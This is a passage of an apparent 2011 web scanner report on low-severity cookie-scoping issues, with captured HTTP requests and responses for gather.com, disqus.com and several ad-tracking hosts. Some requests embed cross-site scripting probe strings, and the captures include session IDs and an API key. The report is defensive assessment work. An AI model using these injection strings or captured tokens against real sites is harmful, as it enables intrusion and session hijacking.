vis=bmzv0NjX1wVI4DDcrqbnZzK+z9hq1qZFXYV6xVFVvziBsltaMb09fNAMBWmPi9zZ8qCEzOLcptadgmu7l7x7S8sNjbp3Xa/qCmsVg28rBjz5PEiDchGzJUrdLPHWSu4o; Domain=gather.com; Expires=Mon, 05-May-2031 13:13:19 GMT; Path=/

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /viewArticle.action?articleId=281474979309848 HTTP/1.1
Host: politics.gather.com
Proxy-Connection: keep-alive
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: application/xml,application/xhtml+xml,text/html;q=0.9,text/plain;q=0.8,image/png,*/*;q=0.5
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:13:18 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Set-Cookie: JSESSIONID=AA1558AF37EA62E8ACB559E813B500E0; Domain=.gather.com; Path=/
Set-Cookie: vis=ikoYbOKe4gJ2VOwWyYAUeEoRm+S8xbqzIo+TESwiNafIE3koUMlca5MnNvC8gnmM+it/3B1Ri8EjP3d8GtxRwFYd+vwoMKNeLNRJwDxBdkA=; Domain=gather.com; Expires=Mon, 05-May-2031 13:13:18 GMT; Path=/
P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT"
Set-Cookie: vis=csmt6ej4/GKxEgHBMF+HFkoRm+S8xbqzJ6oEdxOs6izIE3koUMlca5MnNvC8gnmM+it/3B1Ri8EjP3d8GtxRwIW8bO+9W3HVDlGv2Bt4jLRag5p0Z9+xFnkdQwPbL6pb; Domain=gather.com; Expires=Mon, 05-May-2031 13:13:18 GMT; Path=/
P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT"
Set-Cookie: vis=c4rHfMitKmG84r0amPyCVfbQYh0gxzeBPm37aadvYxWWC3qxblM+s27k1MQFQtI+FgdSKNK8P5G3BVJx/UZgSD17oBSvO0UDVG25opdqJiRuXvl8XirA8t52je5SpVTM; Domain=gather.com; Expires=Mon, 05-May-2031 13:13:19 GMT; Path=/
P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT"
Set-Cookie: vis=yF3xUmi32vg+uD8HfJZIuzK+z9hq1qZFc92dTrEq2UyBsltaMb09fNAMBWmPi9zZ8qCEzOLcptadgmu7l7x7S8sNjbp3Xa/qCmsVg28rBjw7r7cUyO2M8SxgDMpOQK08; Domain=gather.com; Expires=Mon, 05-May-2031 13:13:19 GMT; Path=/
P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT"
Set-Cookie: vis=s9YRp/kaJPKPlZIyzQ3RRDK+z9hq1qZFOh8M3imEsAuBsltaMb09fNAMBWmPi9zZ8qCEzOLcptadgmu7l7x7S8sNjbp3Xa/qCmsVg28rBjxiFQb/nhwi3eUOAPnJtfxA; Domain=gather.com; Expires=Mon, 05-May-2031 13:13:19 GMT; Path=/
P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT"
Set-Cookie: vis=bmzv0NjX1wVI4DDcrqbnZzK+z9hq1qZFXYV6xVFVvziBsltaMb09fNAMBWmPi9zZ8qCEzOLcptadgmu7l7x7S8sNjbp3Xa/qCmsVg28rBjz5PEiDchGzJUrdLPHWSu4o; Domain=gather.com; Expires=Mon, 05-May-2031 13:13:19 GMT; Path=/
P3P: policyref="http://ads.gather.com/w3c/p3p.xml", CP="PSAa PSDa ADMa DEVa OUR IND DSP NOI COR UNI NAV CURa COM INT"
Content-Language: en-US
Content-Length: 72670
Cache-Control: max-age=0
Expires: Tue, 10 May 2011 13:13:18 GMT
Content-Type: text/html;charset=UTF-8

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01 Transitional//EN"
"http://www.w3.org/TR/html4/loose.dtd">

...[SNIP]...

12.6. http://slashgeardotcom.disqus.com/thread.js previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://slashgeardotcom.disqus.com
Path:	/thread.js

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

sessionid=5439c19bf65868637b6d94bd5708f992; Domain=.disqus.com; expires=Tue, 24-May-2011 13:34:32 GMT; Max-Age=1209600; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /thread.js?url=http%3A%2F%2Fwww.slashgear.com%2Fsamsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027%2F%20&title=Samsung%20Galaxy%20Tab%2010.1%20Hands-On%20at%20Google%20I%2FO%202011&sort=&per_page&category_id=&developer=NaN&identifier=151027%20http%3A%2F%2Fwww.slashgear.com%2F%3Fp%3D151027&remote_auth_s3=W10%3D%20f9847353103818e5d1a005c6f7648ccd200ddb60%201305033250&api_key=nJyy4PjmAfkpxLardtemyKbohLXiPJCxGUQvqhC1PdsURkWBcIiM6LCGhJmKCjzy&1305033272674 HTTP/1.1
Host: slashgeardotcom.disqus.com
Proxy-Connection: keep-alive
Referer: http://www.slashgear.com/samsung-galaxy-tab-10-1-hands-on-at-google-io-2011-09151027/
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: __qca=P0-487374334-1303349183888; sessionid=5439c19bf65868637b6d94bd5708f992; __utmz=113869458.1304957832.11.11.utmcsr=thestreet.com|utmccn=(referral)|utmcmd=referral|utmcct=/story/11111015/1/citigroup-shares-should-be-avoided-analyst.html; __utma=113869458.1602204697.1303349184.1304954831.1304957832.11

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 13:34:32 GMT
Server: Apache/2.2.14 (Ubuntu)
Content-Language: en-us
Vary: Accept-Language,Cookie,Accept-Encoding
p3p: CP="DSP IDC CUR ADM DELi STP NAV COM UNI INT PHY DEM"
Set-Cookie: test=1; Path=/
Set-Cookie: sessionid=5439c19bf65868637b6d94bd5708f992; Domain=.disqus.com; expires=Tue, 24-May-2011 13:34:32 GMT; Max-Age=1209600; Path=/
Connection: close
Content-Type: text/javascript; charset=UTF-8
Content-Length: 29002

/*jslint evil:true */
/**
* Dynamic thread loader
*
*
*
*
*
*
*/

//
var DISQUS;
if (!DISQUS || typeof DISQUS == 'function') {
throw "DISQUS object is not initialized";
}
//

// json
...[SNIP]...

12.7. http://t.mookie1.com/t/v1/imp previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://t.mookie1.com
Path:	/t/v1/imp

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

session=1305036093|1305036093; path=/; domain=.mookie1.com
id=914804995789526; path=/; expires=Sun, 03-Jun-12 14:01:33 GMT; domain=.mookie1.com

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /t/v1/imp?%25&migAgencyId=43&migSource=adsrv2&migTrackDataExt=2782903;62165328;239251522;41861280&migRandom=5720924&migTrackFmtExt=client;io;ad;crtv HTTP/1.1
Host: t.mookie1.com
Proxy-Connection: keep-alive
Referer: http://www.knowyourmobile.com/featureseb01b%22-alert(%22XSS%22)-%22c1d3a58f98a/881740/google_io_what_to_expect.html
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: OAX=rcHW802rT5oABV/F; RMFL=011QD4ETU107OI|U107OK; RMFM=011QJT9qC10CWN|N10CXL|U10JLR; NXCLICK2=011QJT9qNX_TRACK_Xerox/XLS2011/ZAPTraderBluekaiExecutivesData_NX_NonSecure!y!B3!JLR!Hfl; id=914804995789526

Response

HTTP/1.1 200 OK
Date: Tue, 10 May 2011 14:01:33 GMT
Server: Apache/2.0.52 (Red Hat)
Cache-Control: no-cache
Pragma: no-cache
P3P: CP="NOI DSP COR NID CUR OUR NOR"
Set-Cookie: id=914804995789526; path=/; expires=Sun, 03-Jun-12 14:01:33 GMT; domain=.mookie1.com
Set-Cookie: session=1305036093|1305036093; path=/; domain=.mookie1.com
Content-Length: 35
Content-Type: image/gif

GIF87a.............,...........D..;

12.8. http://ttwbs.channelintelligence.com/ previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://ttwbs.channelintelligence.com
Path:	/

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

sessionstamp=1C9597DD-357A-548C-5D65-6A011F3E603A;Domain=.channelintelligence.com;Expires=Tue, 10-May-11 14:44:36 GMT
serverstamp=7FBC7DE5-16B2-3021-07C0-A9E06723E8F1;Domain=.channelintelligence.com;Expires=Fri, 07-May-21 13:44:36 GMT

The highlighted cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /?eid=43&vid=9919466&src=56654371&pid=56654371&cid=1759&cvid=1504&tid=C5AA7A8D196B4B4DB5ABD5CE2D4C89CF&afid=1072&plid=undefined&sku=&fcid=&ref=&iid={IID} HTTP/1.1
Host: ttwbs.channelintelligence.com
Proxy-Connection: keep-alive
Referer: http://dar.youknowbest.com/?afid=1072
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Set-Cookie: serverstamp=7FBC7DE5-16B2-3021-07C0-A9E06723E8F1;Domain=.channelintelligence.com;Expires=Fri, 07-May-21 13:44:36 GMT
Cache-Control: private,no-store
X-Powered-By: Mirror Image Internet
P3p: CP="OTI DSP COR CURa ADMa DEVa OUR DELa STP"
Date: Tue, 10 May 2011 13:44:36 GMT
Set-Cookie: sessionstamp=1C9597DD-357A-548C-5D65-6A011F3E603A;Domain=.channelintelligence.com;Expires=Tue, 10-May-11 14:44:36 GMT
Pragma: no-cache
Server: Jetty(6.1.22)
Content-Type: image/gif
Via: 1.1 ics_server.xpc-mii.net (XLR 2.3.0.2.23a)
Connection: keep-alive
Content-Length: 42

GIF89a.............!.......,........@..D.;

12.9. http://www.gather.com/6360d%3Cimg%20src%3da%20onerror%3dalert(1)%3E1b6979d15ce previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.gather.com
Path:	/6360d%3Cimg%20src%3da%20onerror%3dalert(1)%3E1b6979d15ce

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

JSESSIONID=826191BB0142DEDB7C8F92130823CC33; Domain=.gather.com; Path=/

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /6360d%3Cimg%20src%3da%20onerror%3dalert(1)%3E1b6979d15ce HTTP/1.1
Host: www.gather.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive

Response

HTTP/1.1 301 Moved Permanently
Date: Tue, 10 May 2011 14:07:09 GMT
Server: Apache/2.2.15 (Unix) mod_jk/1.2.28
Set-Cookie: JSESSIONID=826191BB0142DEDB7C8F92130823CC33; Domain=.gather.com; Path=/
Location: http://www.gather.com/6360d<img+src=a+onerror=alert(1)>1b6979d15ce
Content-Length: 0
Content-Type: text/html;charset=UTF-8

12.10. http://www.tlsubmit.com/checkout/signup.php previous next

Summary

Severity:	Low
Confidence:	Firm
Host:	http://www.tlsubmit.com
Path:	/checkout/signup.php

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

PHPSESSID=72f2241a0d29b6cd73e9a010dbbd219a; path=/; domain=.tlsubmit.com

The cookie appears to contain a session token, which may increase the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

Response

12.11. http://a.tribalfusion.com/displayAd.js previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.tribalfusion.com
Path:	/displayAd.js

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

ANON_ID=aHnEcaolXIBaZaZdSSZbxDIAE6TtWXdZa5Gr7qs7MTtMaFroUdSTxZaSBea9XfrOHBNa5vBZcsejTFBQsDHUZbdYiYEbOL8idqQZdt3tc8lVJu354gew7TlJjY0XkrsyOZc6j3S1QCkgmFEPB6eZbilGGm1Fngq7QiMgkmpgymK9ZbZb3FtOefQc0x2DqMcGVQL9ZcZbVjXZbeLVIfIuY4l8Quu6B5FCE01iQqeZca1iEQ1x9PPV5AMwAQQZcA5K4ZcGSJvtVtZaZdKA5SKVZaGorpcQLl6P4nF5lFmtqO41E8cqnYimJvmudiLeUJ36VCfXCKUQvoZcQk3jcQF5lsmAGSCZdXZdlmvC5CMQxIFnd5LU0OVlqWp7S7OxIfRQqxhp8cUkSj9L7nbWfQS1OJtZbDqEowsoHRSVaGCEpFiZarwc2kCGoJCrsen5H88GLsktMCYpKdCqTF8i6tgcIEIFQTWO8CnQZcXwZbQWEj4xVhcN2MAglwPutfgBsJVhFqvAGKg0HVqNuZbBxPpa73acmNlYxm51e3TrPNwdlwpZaoZdLZbk01KqCaZbphjlZdd3ZaM4eZcgPneMdjkWWV6CKIeY4UVx; path=/; domain=.tribalfusion.com; expires=Mon, 08-Aug-2011 13:18:16 GMT;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /displayAd.js?dver=0.3&th=22778850880 HTTP/1.1
Host: a.tribalfusion.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ANON_ID=aqnEN7mMZa0lBZbyppuaMhhxwv27meFuLYlSbCD4QPcSZaZaeGyZbMaWVpwNZagkIJ3HABjqpBNgJD26vqYnyQ3VQVrNLn49ZawvYMkZdWwOe8ZdaC3nKo1SpKjcPZcq5hBh3SGM4LM490vmj9ZdrvL1NTZaVkT9qcYHEXNVk7I2xYWH3YpcctVrCpG2XmoMmtHZcTgLWwSm6pcaUZcvAR1nUNhGZbYurtWB1w9fds3tC73Dto2OknkAPQkyjuoBCsqOstAjNpZdhPRrh2QBKwTZd6RNUQZaAKMqLknTW2uufyTZbRcGK0McDRk6ZcSlfGNhPHTAHpdh7toL9xFgAemnsss2Gb5JdO8xqiDhlrQoN2IWPENVAOTgcitusgYbEZaNeFNy6fDcGgE0XZaXVlquseiUGD8Ande8QoY3lceLJIBcxdFUipLdqIfEKVu44MgBvCkTunGViss6ZcoXOPdCiDZdWBHLx0uSMlCpqOsasvKVi9ZccOROeDVbts4GvwXvkZaldkW8EQX4Oqde1IXp6ZaM2wMAvDnRxv5GUVeIkZc8tc55UbVeVZcoWryeshMs3SIdEFdoAe69VZaDSF

Response

HTTP/1.1 200 OK
P3P: CP="NOI DEVo TAIa OUR BUS"
X-Function: 153
X-Reuse-Index: 1
Date: Tue, 10 May 2011 13:18:16 GMT
Last-Modified: Sun, 08 May 2011 10:17:40 GMT
Expires: Mon, 08 Aug 2011 13:18:16 GMT
Set-Cookie: ANON_ID=aHnEcaolXIBaZaZdSSZbxDIAE6TtWXdZa5Gr7qs7MTtMaFroUdSTxZaSBea9XfrOHBNa5vBZcsejTFBQsDHUZbdYiYEbOL8idqQZdt3tc8lVJu354gew7TlJjY0XkrsyOZc6j3S1QCkgmFEPB6eZbilGGm1Fngq7QiMgkmpgymK9ZbZb3FtOefQc0x2DqMcGVQL9ZcZbVjXZbeLVIfIuY4l8Quu6B5FCE01iQqeZca1iEQ1x9PPV5AMwAQQZcA5K4ZcGSJvtVtZaZdKA5SKVZaGorpcQLl6P4nF5lFmtqO41E8cqnYimJvmudiLeUJ36VCfXCKUQvoZcQk3jcQF5lsmAGSCZdXZdlmvC5CMQxIFnd5LU0OVlqWp7S7OxIfRQqxhp8cUkSj9L7nbWfQS1OJtZbDqEowsoHRSVaGCEpFiZarwc2kCGoJCrsen5H88GLsktMCYpKdCqTF8i6tgcIEIFQTWO8CnQZcXwZbQWEj4xVhcN2MAglwPutfgBsJVhFqvAGKg0HVqNuZbBxPpa73acmNlYxm51e3TrPNwdlwpZaoZdLZbk01KqCaZbphjlZdd3ZaM4eZcgPneMdjkWWV6CKIeY4UVx; path=/; domain=.tribalfusion.com; expires=Mon, 08-Aug-2011 13:18:16 GMT;
Cache-Control: private
Content-Type: application/x-javascript
Vary: Accept-Encoding
Connection: keep-alive
Content-Length: 60

var e9;
if (e9.displayAdFlag == true) {
e9.displayAd();
}

12.12. http://a.tribalfusion.com/j.ad previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://a.tribalfusion.com
Path:	/j.ad

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

ANON_ID=aGnK5SoNIdJBZaZcxmZbgG1Yuem5ByQeiC1Bmeha2LZdm1ehxbZcjQ5oJk93CZc2V4G0DFlSjBVZdxlBB2cB2NsIRydZbNbRaa91vF6HYPOF3rgXwD2DRsFbaUVW7YNESdFX9LxA14HWi98aMBRlTtiGv0bNCKKhKlI1XthxUZc5yYMr31SqKeIABhbEEPwZcrxfJsKjQX3jholOCfhqAM7QOZceLA5ZbKMQjsCZdx08bwUCTlO1VZdx3iWq5tHwov2xKZdwamyV3xoI03ZdZdW3OZduiBSBZdWLSi8UpMqR3BLQuKgqO4T9JYKG7u7e42gdbqMNCkE4rZb5skWtEgeuxbZdIk3KGdhn9pijePMm96qRffIbuQM7eZaaZd8YfwwDlaAOIy0n1TZbknG2L2G2hJj9pVmAZcH7Cwnp3ZcxiVx44lRiRse6vDsq8tJZcZdillVGYDyQ6FhZaAEyG8tuUrL5aoYIyCdZbyhPeG3slLZa4DnJ2KGC2kZd4Blg05jtZcZdZaApF2ICTtoSZaek8o6em7hEe4CQproPcIsZaFbZap3nV457AqQMsCRAqi9jI3NqFOv18J3XIG4PZdZa99IGIHbZbo40moZaI0n1cwNGF9AGYEIvW81XXx3wbasMLjnxJt89oPZcJ9HE6XZcwt7Ct8moMafrY2HO; path=/; domain=.tribalfusion.com; expires=Mon, 08-Aug-2011 13:19:28 GMT;

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /j.ad?site=gathercom&adSpace=ros&tagKey=2218970080&th=22778850880&tKey=undefined&size=300x250&p=13167232&a=1&flashVer=10&ver=1.20&center=1&url=http%3A%2F%2Fpolitics.gather.com%2FviewArticle.action%3FarticleId%3D281474979309848&f=0&rnd=13173106 HTTP/1.1
Host: a.tribalfusion.com
Proxy-Connection: keep-alive
Referer: http://politics.gather.com/viewArticle.action?articleId=281474979309848
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: ANON_ID=alnEcatZdPcFFUL1prcLuevBTL0REIqDHaUTcrvQj66Ym2UNtCRVCmf6Ory5qQs8fY2btrH0TfL5oWbJdFSUb6ZaZcHENnAhr0c8IZcTZbsVMRid4B1ihve2fCaRXkydIFR4sCyGd7wxPARZcZa0METWMphfr0KZbBI9hZasccLBZa3ZcuZaiIMWO3V82XcWkmZbtk2UOi4fX9ZaguZaARZcNsm3bJpTtk0wJ7yOHQTwyrUhW3NcKDpwPwuZarDZahVyV166PqZalIp98ZcnA9WddAThdZcTOeBWZdMjOEW9wE4hNR3HrxyQ06acZcFZbuZaTL1r7pLTwgDRJBaG8UWfAP3jR5bV4HgPpZdovQdtJP8iZcmocSNPUqmWL4vZadYpuMaWCfVZaH2bwZb6Bpu9TNdIogDceb4IYVofUEpvGWJTZcqdoWIojT00SyN3tL98ZbEFgVQpyUAGgQTT0Zbc9KtLVyVPH8x7oFICvcgYoBbog9Bc5vZbIMcZd5kZdZbaQCEu1PttAV7DXoKoL6tEfJa883EaDC432ywNwJommsT9Zc9tERtVF4ochqNfHPlGgM8ykwVFewTTEOk5DqkIbBRFeY4HwD

Response

HTTP/1.1 200 OK
P3P: CP="NOI DEVo TAIa OUR BUS"
X-Function: 101
X-Reuse-Index: 1
Pragma: no-cache
Cache-Control: private, no-cache, no-store, proxy-revalidate
Set-Cookie: ANON_ID=aGnK5SoNIdJBZaZcxmZbgG1Yuem5ByQeiC1Bmeha2LZdm1ehxbZcjQ5oJk93CZc2V4G0DFlSjBVZdxlBB2cB2NsIRydZbNbRaa91vF6HYPOF3rgXwD2DRsFbaUVW7YNESdFX9LxA14HWi98aMBRlTtiGv0bNCKKhKlI1XthxUZc5yYMr31SqKeIABhbEEPwZcrxfJsKjQX3jholOCfhqAM7QOZceLA5ZbKMQjsCZdx08bwUCTlO1VZdx3iWq5tHwov2xKZdwamyV3xoI03ZdZdW3OZduiBSBZdWLSi8UpMqR3BLQuKgqO4T9JYKG7u7e42gdbqMNCkE4rZb5skWtEgeuxbZdIk3KGdhn9pijePMm96qRffIbuQM7eZaaZd8YfwwDlaAOIy0n1TZbknG2L2G2hJj9pVmAZcH7Cwnp3ZcxiVx44lRiRse6vDsq8tJZcZdillVGYDyQ6FhZaAEyG8tuUrL5aoYIyCdZbyhPeG3slLZa4DnJ2KGC2kZd4Blg05jtZcZdZaApF2ICTtoSZaek8o6em7hEe4CQproPcIsZaFbZap3nV457AqQMsCRAqi9jI3NqFOv18J3XIG4PZdZa99IGIHbZbo40moZaI0n1cwNGF9AGYEIvW81XXx3wbasMLjnxJt89oPZcJ9HE6XZcwt7Ct8moMafrY2HO; path=/; domain=.tribalfusion.com; expires=Mon, 08-Aug-2011 13:19:28 GMT;
Content-Type: application/x-javascript
Vary: Accept-Encoding
Expires: 0
Connection: keep-alive
Content-Length: 388

document.write('<center><a target=_blank href="http://a.tribalfusion.com/h.click/aEmMBkorBxQbftYEvq5qUj2TMQnEZbG1rZb8UWfUmmfLpsjmmtnJ2TQk2WZaN5mvZbprrZdYGnQXGZb01VvxparT5b32VUnEUAvTPE3RPsZbmSdJr1d7sT6
...[SNIP]...

12.13. http://action.mathtag.com/mm/rtb/COFC/1008A2/imp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://action.mathtag.com
Path:	/mm/rtb/COFC/1008A2/imp

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

ts=1305033921; domain=.mathtag.com; path=/; expires=Wed, 09-May-2012 13:25:21 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /mm/rtb/COFC/1008A2/imp?ci=&li=&pe=&pt=&pi=&sc=&ct=&vi=&px=&su= HTTP/1.1
Host: action.mathtag.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/607/salonmedia/300x250/default_criteo?t=1305033240941&tz=300&m=0&hu=&ht=js&hp=0&fo=&url=http%3A%2F%2Fletters.salon.com%2Fpolitics%2Fwar_room%2F2011%2F05%2F09%2Fsantorum_loser%2Fview%2F&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uuid=4dab7d35-b1d2-915a-d3c0-9d57f9c66b07; mt_mop=4:1304957840; ts=1305033239

Response

HTTP/1.1 200 OK
Server: mt2/2.0.18.1573 Apr 18 2011 16:09:07 ewr-pixel-x2 pid 0x6fe 1790
Content-Type: image/gif
P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Date: Tue, 10 May 2011 13:25:21 GMT
Etag: 4dab7d35-b1d2-915a-d3c0-9d57f9c66b07
Set-Cookie: ts=1305033921; domain=.mathtag.com; path=/; expires=Wed, 09-May-2012 13:25:21 GMT
Content-Length: 43
Accept-Ranges: bytes
Cache-Control: no-store
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: Keep-Alive

GIF89a.............!.......,...........D..;

12.14. http://action.mathtag.com/mm/rtb/TREE/1101A0/imp previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://action.mathtag.com
Path:	/mm/rtb/TREE/1101A0/imp

Issue detail

The following cookie was issued by the application and is scoped to a parent of the issuing domain:

ts=1305034164; domain=.mathtag.com; path=/; expires=Wed, 09-May-2012 13:29:24 GMT

The cookie does not appear to contain a session token, which may reduce the risk associated with this issue. You should review the contents of the cookie to determine its function.

Request

GET /mm/rtb/TREE/1101A0/imp?ci=&li=&pe=&pt=&pi=&sc=&ct=&vi=&px=&su= HTTP/1.1
Host: action.mathtag.com
Proxy-Connection: keep-alive
Referer: http://tag.admeld.com/ad/iframe/593/tpm/300x250/below_fold?t=1305033247397&tz=300&hu=&ht=js&hp=0&url=http%3A%2F%2Ftalkingpointsmemo.com%2Farchives%2F2010%2F02%2Fremember_rick_santorum.php&refer=
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.24 (KHTML, like Gecko) Chrome/11.0.696.65 Safari/534.24
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: uuid=4dab7d35-b1d2-915a-d3c0-9d57f9c66b07; ts=1305033239; mt_mop=4:1305033249

Response

HTTP/1.1 200 OK
Server: mt2/2.0.18.1573 Apr 18 2011 16:09:07 ewr-pixel-x5 pid 0x2214 8724
Content-Type: image/gif
P3P: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA"
Date: Tue, 10 May 2011 13:29:24 GMT
Etag: 4dab7d35-b1d2-915a-d3c0-9d57f9c66b07
Set-Cookie: ts=1305034164; domain=.mathtag.com; path=/; expires=Wed, 09-May-2012 13:29:24 GMT
Content-Length: 43
Accept-Ranges: bytes
Cache-Control: no-store
Pragma: no-cache
Expires: Thu, 01 Jan 1970 00:00:00 GMT
Connection: Keep-Alive

GIF89a.............!.......,...........D..;

12.15. http://ad.afy11.net/ad previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.afy11.net
Path:	/ad

Issue detail

The following cookies were issued by the application and is scoped to a parent of the issuing domain:

a=ElDagaKnz0am0Q+8A9wMDg; path=/; expires=Sat, 31-Dec-2019 00:00:00 GMT; domain=afy11.net;
s=1,2*4dc947e6*wPwskm4kgT*w1mK-9gtR3TMN5K2TqkKXXotSA==*; path=/; expires=Sat, 31-Dec-2019 00:00:00 GMT; domain=afy11.net;

The cookies do not appear to contain session tokens, which may reduce the risk associated with this issue. You should review the contents of the cookies to determine their function.

Request

GET /ad?mode=7&publisher_dsp_id=2&external_user_id=3658195966029417970 HTTP/1.1
Host: ad.afy11.net
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:2.0.1) Gecko/20100101 Firefox/4.0.1
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip, deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Proxy-Connection: keep-alive
Referer: http://cdn.turn.com/server/ddc.htm?uid=3658195966029417970&rnd=4554351895715906254&fpid=12&nu=n&t=&sp=n&purl=

Response

HTTP/1.0 200 OK
Connection: close
Cache-Control: no-cache, must-revalidate
Server: AdifyServer
Content-Type: image/gif
Content-Length: 45
Set-Cookie: a=ElDagaKnz0am0Q+8A9wMDg; path=/; expires=Sat, 31-Dec-2019 00:00:00 GMT; domain=afy11.net;
Set-Cookie: s=1,2*4dc947e6*wPwskm4kgT*w1mK-9gtR3TMN5K2TqkKXXotSA==*; path=/; expires=Sat, 31-Dec-2019 00:00:00 GMT; domain=afy11.net;
P3P: policyref="http://ad.afy11.net/privacy.xml", CP=" NOI DSP NID ADMa DEVa PSAa PSDa OUR OTRa IND COM NAV STA OTC"

GIF89a.............!.......,...........D..;if

12.16. http://ad.amgdgt.com/ads/ previous next

Summary

Severity:	Information
Confidence:	Certain
Host:	http://ad.amgdgt.com
